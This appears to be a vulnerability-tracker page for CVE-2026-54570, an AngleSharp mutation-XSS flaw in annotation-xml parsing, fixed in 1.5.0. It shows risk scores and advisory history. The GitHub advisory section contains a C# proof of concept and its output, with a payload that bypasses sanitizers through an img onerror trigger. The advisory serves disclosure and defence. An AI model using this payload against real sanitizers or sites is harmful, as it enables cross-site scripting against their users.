Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

AngleSharp: HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass

CVSS 3.1 6.9 MEDIUMEUVD CVSS 3.1 6.9 CVSS 3.1 · [email protected] · Secondary 6.9 MEDIUMCVSS_V3 Publisher rating MODERATEFixed by AngleSharp 1.5.0KEV status unknown

cve-program · CVE-2026-54570

Published

AngleSharp is a .NET library for parsing angle bracket based hyper-texts. Prior to 1.5.0, MathAnnotationXmlElement in AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs is not treated as an HTML integration point when its encoding attribute is text/html or application/xhtml+xml, causing Consume in AngleSharp/Html/Parser/HtmlDomBuilder.cs to route tokens through foreign-content parsing instead of HTML parsing. A sanitizer can therefore observe a different DOM from the browser that reparses the serialized output. An attacker can combine this namespace differential with markup-breaking characters in an attribute value so that an element hidden from the sanitizer becomes active script-capable HTML after browser reparse, resulting in mutation cross-site scripting. This issue is fixed in version 1.5.0.

Read the publisher's advisory

euvd · EUVD-2026-61128

Published

AngleSharp is a .NET library for parsing angle bracket based hyper-texts. Prior to 1.5.0, MathAnnotationXmlElement in AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs is not treated as an HTML integration point when its encoding attribute is text/html or application/xhtml+xml, causing Consume in AngleSharp/Html/Parser/HtmlDomBuilder.cs to route tokens through foreign-content parsing instead of HTML parsing. A sanitizer can therefore observe a different DOM from the browser that reparses the serialized output. An attacker can combine this namespace differential with markup-breaking characters in an attribute value so that an element hidden from the sanitizer becomes active script-capable HTML after browser reparse, resulting in mutation cross-site scripting. This issue is fixed in version 1.5.0.

Read the publisher's advisory

nvd · CVE-2026-54570

Published

AngleSharp is a .NET library for parsing angle bracket based hyper-texts. Prior to 1.5.0, MathAnnotationXmlElement in AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs is not treated as an HTML integration point when its encoding attribute is text/html or application/xhtml+xml, causing Consume in AngleSharp/Html/Parser/HtmlDomBuilder.cs to route tokens through foreign-content parsing instead of HTML parsing. A sanitizer can therefore observe a different DOM from the browser that reparses the serialized output. An attacker can combine this namespace differential with markup-breaking characters in an attribute value so that an element hidden from the sanitizer becomes active script-capable HTML after browser reparse, resulting in mutation cross-site scripting. This issue is fixed in version 1.5.0.

Read the publisher's advisory

osv · GHSA-pgww-w46g-26qg

Published

### Summary The HTML specification requires that a MathML `<annotation-xml>` element with `encoding="text/html"` or `encoding="application/xhtml+xml"` is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML. AngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if `encoding="text/html"` is not treated) when given the same serialized output. Two bugs combine to make this exploitable: - Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode). - Unescaped < > in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape < or > characters, only & and ". This allows injected markup to break out of attribute values on re-parse. _See [Escape "<" and ">" in attributes when serializing HTML #6235 ](https://github.com/whatwg/html/issues/6235)_ ### Details In `MathAnnotationXmlElement` (`AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs`): ```cs // Current — HtmlTip is never set : base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped) ``` Because `HtmlTip` is absent, the token dispatch in `Consume()` always sends tokens to `Foreign()` when inside `annotation-xml`, regardless of the encoding attribute. The compensating check in `ForeignNormalTag()` only covers tags in `AllForeignExceptions` and is entirely bypassed during fragment parsing (`innerHTML` setter) due to an `if (!IsFragmentCase)` guard. In `HtmlMarkupFormatter.WriteAttributeValue()` (`AngleSharp/Html/HtmlMarkupFormatter.cs`): ```cs // Escapes & " and \u00A0, but NOT < or > case Symbols.Ampersand: stringBuilder.Append("&amp;"); break; case Symbols.NoBreakSpace: stringBuilder.Append("&nbsp;"); break; case Symbols.DoubleQuote: stringBuilder.Append("&quot;"); break; default: stringBuilder.Append(value[i]); break; // < and > pass through raw ``` ### PoC The following program demonstrates that AngleSharp’s parser misses the injected `<img>` element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live `<img onerror>` trigger. ```cs using System; using System.Linq; using AngleSharp.Html.Parser; public class Program { static readonly string Payload1 = "<math>" + "<annotation-xml encoding=\"text/html\">" + "<title><a encoding=\"</title><img src=x onerror=alert()>\">" + "</annotation-xml></math>"; public static void Main() { var parser = new HtmlParser(); Check(parser, Payload1, "IMG", "AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)", "AngleSharp found <img> – SAFE"); } static void Check(HtmlParser parser, string html, string tag, string failMsg, string passMsg) { var doc = parser.ParseDocument(html); var tags = doc.All.Select(e => e.TagName).ToHashSet(); var found = tags.Contains(tag); Console.WriteLine(found ? passMsg : failMsg); Console.WriteLine("Serialized output:"); Console.WriteLine(doc.DocumentElement.OuterHtml); } } ``` Output: ``` AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization) Serialized output: <html><head></head><body><math><annotation-xml encoding="text/html"><title><a encoding="</title><img src=x onerror=alert()>"></a></title></annotation-xml></math></body></html> ``` _The `title` tag may be swapped out for `style` and other RCDATA elements._ When a browser receives this string and parses `annotation-xml encoding="text/html"` as an HTML integration point, the `</title>` closes the title element and the `<img>` fires its onerror handler. ### Impact Implemented HTML sanitizers that depend and trust AngleSharp's ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions. This reduces AngleSharp's credibility as a conformant HTML parser.

Read the publisher's advisory

Affected versions, risk and source history

Exploitation and risk

Source status

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

Which CVEs have scores here?

This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.

CVE-2026-54570

No CISA KEV listing is included in this saved record. Exploitation may still have occurred.

FIRST EPSS: 0.33 % · percentile 26.57 % · scored 12 Nov 2026.

Saved 12 Nov 2026 18:18:51 UTC · View this risk record (JSON)

Risk history

Compare earlier KEV listings and daily EPSS scores. Advisory wording and affected versions have a separate history.

When does an EPSS score appear as a change?

A prediction change is reported when EPSS rises from below 10% to 10% or higher. Other daily score changes remain in this history.

CVE-2026-54570 · 12 Nov 2026 18:18:51 UTC

CVE-2026-54570 · 10 Nov 2026 20:24:10 UTC

CVE-2026-54570 · 09 Nov 2026 21:04:24 UTC

CVE-2026-54570 · 08 Nov 2026 15:12:21 UTC

CVE-2026-54570 · 07 Nov 2026 16:07:52 UTC

CVE-2026-54570 · 06 Nov 2026 19:10:17 UTC

CVE-2026-54570 · 05 Nov 2026 22:49:22 UTC

CVE-2026-54570 · 05 Nov 2026 02:54:06 UTC

CVE-2026-54570 · 03 Nov 2026 16:59:18 UTC

CVE-2026-54570 · 02 Nov 2026 23:59:04 UTC

CVE-2026-54570 · 01 Nov 2026 23:58:58 UTC

CVE-2026-54570 · 01 Nov 2026 03:04:52 UTC

CVE-2026-54570 · 31 Oct 2026 01:52:30 UTC

CVE-2026-54570 · 29 Oct 2026 18:29:26 UTC

CVE-2026-54570 · 28 Oct 2026 19:55:37 UTC

CVE-2026-54570 · 27 Oct 2026 15:46:19 UTC

CVE-2026-54570 · 27 Oct 2026 00:23:05 UTC

CVE-2026-54570 · 25 Oct 2026 15:18:41 UTC

CVE-2026-54570 · 25 Oct 2026 02:24:38 UTC

CVE-2026-54570 · 23 Oct 2026 16:01:26 UTC

Advisory history

11 saved versions

See how the publisher's advisory changed over time. Each link opens the version saved at that time. The publisher's update date can differ from the date shown here.

How advisory history works

Each link identifies one complete publisher record. History can include advisories that previously shared an identifier; an identifier removed by a publisher no longer establishes a current relationship. A historical link shows only that record and earlier saved versions. Failed checks and unchanged reads do not create new versions.

11 Nov 2026 14:00:45 UTC

AngleSharp is a .NET library for parsing angle bracket based hyper-texts. Prior to 1.5.0, MathAnnotationXmlElement in AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs is not treated as an HTML integration point when its encoding a…

euvd · EUVD-2026-61128 · Published

9 Nov 2026 13:07:50 UTC

AngleSharp is a .NET library for parsing angle bracket based hyper-texts. Prior to 1.5.0, MathAnnotationXmlElement in AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs is not treated as an HTML integration point when its encoding a…

euvd · EUVD-2026-61128 · Published

7 Nov 2026 12:30:17 UTC

AngleSharp is a .NET library for parsing angle bracket based hyper-texts. Prior to 1.5.0, MathAnnotationXmlElement in AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs is not treated as an HTML integration point when its encoding a…

euvd · EUVD-2026-61128 · Published

5 Nov 2026 11:42:25 UTC

AngleSharp is a .NET library for parsing angle bracket based hyper-texts. Prior to 1.5.0, MathAnnotationXmlElement in AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs is not treated as an HTML integration point when its encoding a…

euvd · EUVD-2026-61128 · Published

3 Nov 2026 11:01:59 UTC

AngleSharp is a .NET library for parsing angle bracket based hyper-texts. Prior to 1.5.0, MathAnnotationXmlElement in AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs is not treated as an HTML integration point when its encoding a…

euvd · EUVD-2026-61128 · Published

1 Nov 2026 10:07:46 UTC

AngleSharp is a .NET library for parsing angle bracket based hyper-texts. Prior to 1.5.0, MathAnnotationXmlElement in AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs is not treated as an HTML integration point when its encoding a…

euvd · EUVD-2026-61128 · Published

30 Oct 2026 09:51:58 UTC

AngleSharp is a .NET library for parsing angle bracket based hyper-texts. Prior to 1.5.0, MathAnnotationXmlElement in AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs is not treated as an HTML integration point when its encoding a…

euvd · EUVD-2026-61128 · Published

28 Oct 2026 08:09:00 UTC

AngleSharp is a .NET library for parsing angle bracket based hyper-texts. Prior to 1.5.0, MathAnnotationXmlElement in AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs is not treated as an HTML integration point when its encoding a…

euvd · EUVD-2026-61128 · Published

25 Oct 2026 13:17:28 UTC

AngleSharp is a .NET library for parsing angle bracket based hyper-texts. Prior to 1.5.0, MathAnnotationXmlElement in AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs is not treated as an HTML integration point when its encoding a…

nvd · CVE-2026-54570 · Published

23 Oct 2026 16:01:25 UTC

AngleSharp HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass

osv · GHSA-pgww-w46g-26qg · Published

23 Oct 2026 15:48:27 UTC

AngleSharp: HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass

cve-program · CVE-2026-54570 · Published

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 13 Nov 05:08 UTC · 274 of 275 readable · 272 fully read · documentation 469/469 current